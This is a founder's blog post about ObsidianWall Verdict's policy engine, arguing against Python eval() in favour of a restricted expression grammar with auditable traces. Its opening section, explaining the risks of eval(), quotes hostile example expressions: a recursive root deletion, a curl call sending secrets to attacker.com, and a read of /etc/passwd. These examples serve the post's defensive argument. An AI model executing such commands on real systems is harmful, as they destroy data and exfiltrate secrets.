Why I Didn't Use eval() in ObsidianWall's Policy Engine — And What I Built Instead

Published by Aisha · ObsidianWall

When you're building a tool that evaluates policy expressions like this:

(current_spend + estimated_cost) <= budget.amount

the obvious implementation is a single line of Python:

result = eval(expression, context)

It works. It's clean. It takes five minutes to write.

I didn't use it. Here's exactly why — and what I built instead.

What ObsidianWall Is

Before getting into the technical decision, some context.

ObsidianWall is a programmable assurance platform — a system for encoding human governance intent as executable policy, evaluating it deterministically, and enforcing it transparently with full audit traceability.

The core doctrine of the platform is this:

AI may advise. AI may explain. AI may optimize. AI may recommend.
AI may NOT authoritatively govern.

That single principle drives every architectural decision in the platform, including the one this article is about.

ObsidianWall Verdict is the first executable built on that platform — a deterministic pre-deployment infrastructure governance engine. It evaluates infrastructure plans against policy before deployment happens, produces an enforcement decision, and generates an audit-grade trace of exactly how that decision was reached.

The expression evaluator is at the heart of how Verdict makes those decisions. And that is where eval() became the wrong answer.

The Problem With eval() in a Governance Engine

eval() executes arbitrary Python expressions. That sentence sounds harmless until you think carefully about what "arbitrary" means in the context of a system that:

• Accepts policy files written by humans
• Processes infrastructure plans from CI/CD pipelines
• Makes enforcement decisions that block or allow deployments
• Produces audit records that compliance teams rely on

In that context, "arbitrary" means any of the following become valid inputs to your evaluator:

# Someone writes this as a policy condition expression:
"__import__('os').system('rm -rf /')"

# Or this:
"__import__('subprocess').call(['curl', 'http://attacker.com', '-d', secrets])"

# Or something subtler:
"open('/etc/passwd').read() == 'root'"

eval() executes all of them without question.

The standard advice is to sandbox it by removing builtins:

result = eval(expression, {"__builtins__": {}}, context)

This is not sufficient. Python's object model provides paths back to dangerous capabilities through class hierarchies even with builtins removed. Security researchers have broken every Python eval sandbox ever published. This is a fundamentally unsolved problem — not an engineering challenge you can outthink with a clever enough sandbox.

But the security problem is not even the most important reason to reject eval().

The Real Problem: Auditability

A governance engine is not a calculator. It is a system that makes enforcement decisions about infrastructure and produces audit records that humans, compliance teams, and regulators rely on.

For that system to be trustworthy, every decision must be:

• Deterministic — the same input always produces the same output, without exception
• Auditable — a human reading the trace can verify the decision independently without running any code
• Bounded — the complete set of things the evaluator can do is finite, known, and describable

eval() fails all three requirements.

It is non-deterministic by design — side effects, I/O, and state mutations are all possible. It is not auditable — you cannot fully describe its behavior surface without describing all of Python. It is unbounded — it can do anything Python can do.

What a governance engine actually needs is not a Python expression evaluator. It needs a restricted expression grammar — a purposefully small language that can only do exactly what policy evaluation requires, and nothing else. The restriction is not a limitation. It is the entire point.

The Solution: A Deterministic Expression Grammar

ObsidianWall Verdict's condition evaluator supports a deliberately minimal grammar:

Comparison operators:   <=   >=   <   >   ==
Arithmetic operations:  addition  ( a + b )
Operand types:          context keys,  numeric literals

That is the complete grammar. No function calls. No variable assignment. No imports. No string manipulation. No loops. No conditionals beyond the comparison itself.

If an expression requires anything outside this grammar, the evaluator does not attempt to execute it. It raises an error with a clear message. The boundary is explicit, enforced, and fully testable.

This means a policy author can write:

conditions:
  - id: budget_check
    expression: "(current_spend + estimated_cost) <= budget.amount"
    description: "Monthly spend cap enforcement"

And the evaluator resolves it step by step:

1. Strip cosmetic parentheses
2. Identify the comparison operator — <=
3. Split into left side and right side
4. Resolve left side — current_spend + estimated_cost — by looking up each key in the runtime context and summing them
5. Resolve right side — budget.amount — by looking up the key in the runtime context
6. Apply the operator — 100 <= 50.0
7. Return the result — False

Every step is traceable. Every step is verifiable. A compliance engineer reading the audit output can reconstruct the evaluation manually without running any code. That is what auditability means in practice — not just logging that a decision happened, but making the decision itself independently verifiable.

The Normalization Layer — Bridging Human Intent and Machine Evaluation

There is an architectural subtlety that took real design work to get right.

Governance policies are written by humans in nested, readable structures:

spec:
  parameters:
    budget:
      amount: 50
      period: monthly
      owner: team-alpha

But the deterministic evaluator operates against a flat key-value context. It resolves budget.amount — not nested object traversal, not dynamic attribute access, not recursive dict walking.

The naive solution is to make the evaluator smart about nested structures. That is the wrong solution. It contaminates the evaluator with policy structure knowledge, destroys its determinism guarantees, and makes it significantly harder to audit.

The correct solution is a normalization layer that runs before evaluation — a dedicated component whose only job is to translate human-readable nested policy structures into evaluator-ready flat contexts:

Input:   {"budget": {"amount": 50, "period": "monthly"}}
Output:  {"budget.amount": 50, "budget.period": "monthly"}

After normalization, the evaluator receives a flat context. It resolves budget.amount directly. It never needs to know how the policy was structured. The normalization layer is the bridge — and it is the only place in the system that understands both the policy structure and the evaluation context simultaneously.

The evaluation pipeline becomes:

Raw Policy YAML
      ↓
Canonicalize DSL structure
      ↓
Validate against schema contract
      ↓
Flatten + merge into runtime context     ← normalization layer
      ↓
Restricted expression evaluation         ← deterministic, bounded
      ↓
Decision + immutable audit trace

Each layer has one responsibility. Each layer can be tested independently. Each layer can be audited independently. No layer needs to understand what the others are doing internally.

What This Means for Testing

Because the expression evaluator is a pure function with no side effects and a completely bounded input surface, testing it requires no mocking, no fixtures, and no infrastructure:

def test_blocks_when_budget_exceeded():
    context = {
        "current_spend":  0,
        "estimated_cost": 100,
        "budget.amount":  50.0
    }
    result = evaluate_expression(
        "(current_spend + estimated_cost) <= budget.amount",
        context
    )
    assert result is False


def test_allows_when_within_budget():
    context = {
        "current_spend":  0,
        "estimated_cost": 30,
        "budget.amount":  50.0
    }
    result = evaluate_expression(
        "(current_spend + estimated_cost) <= budget.amount",
        context
    )
    assert result is True


def test_rejects_expression_outside_grammar():
    with pytest.raises(ValueError):
        evaluate_expression(
            "__import__('os').system('ls')",
            {}
        )

A function goes in. A result comes out. You assert the result. No setup. No teardown. No dependencies. That is what happens when you build a pure deterministic function instead of delegating to eval().

The third test is particularly important for a governance engine. The evaluator does not just fail silently on unsupported expressions — it explicitly rejects them. The boundary is enforced, not just hoped for.

The Principle Behind the Decision

The decision not to use eval() is not primarily a security decision, though security is one outcome.

It is a decision about what kind of system ObsidianWall is.

The ObsidianWall doctrine says AI may advise but may not authoritatively govern. The same principle applies to the expression evaluator — it may evaluate exactly what the grammar allows, and nothing else. The restriction is the guarantee. The boundary is the trust.

A governance engine is only useful if the people governed by it trust it. Trust requires transparency. Transparency requires that the system's behavior be fully describable — that an engineer, a compliance officer, or a regulator can read the evaluation trace and verify independently that the decision was correct.

eval() cannot offer that guarantee. A restricted expression grammar can.

The minimal grammar is not a limitation imposed by inability. It is a design statement:

This system does exactly this, and nothing else. You can verify that. We built it that way on purpose.

That is what programmable assurance means.

The Audit Output

When Verdict evaluates a plan and reaches a decision, the audit artifact looks like this:

{
  "decision": "DENY",
  "conditions_passed": false,
  "trace": [
    {
      "condition_id": "budget_check",
      "expression": "(current_spend + estimated_cost) <= budget.amount",
      "result": false,
      "description": "Monthly spend cap enforcement"
    }
  ],
  "input_context": {
    "estimated_cost": 100,
    "current_spend": 0
  },
  "runtime_context": {
    "estimated_cost": 100,
    "current_spend": 0,
    "budget.amount": 50.0,
    "budget.period": "monthly"
  }
}

Two contexts are preserved separately — input_context captures what came in from the infrastructure plan, runtime_context captures the fully normalized state the evaluator actually saw. That separation matters for forensic reconstruction, compliance export, and replay — you can reproduce the exact evaluation state at any point in the future from the audit record alone.

What's Next

This is the first article in a series on the architecture behind ObsidianWall.

The next two cover:

How the enforcer/recommender separation preserves the AI authority boundary — why the system that makes enforcement decisions must be architecturally isolated from the system that generates recommendations, and what happens to governance trust when that boundary is violated.

How programmable assurance differs from reactive governance — why alerting, dashboards, and drift detection are fundamentally different abstractions from deterministic decision systems, and why that difference matters in AI-era infrastructure.

ObsidianWall Verdict is currently in early access.

If you are dealing with infrastructure budget overruns, compliance violations discovered after deployment, or policy drift across engineering teams — Verdict was built for exactly that problem.

Early access: obsidianwall.com

Aisha is the founder of ObsidianWall — a programmable assurance platform for deterministic governance and AI-native operational intelligence.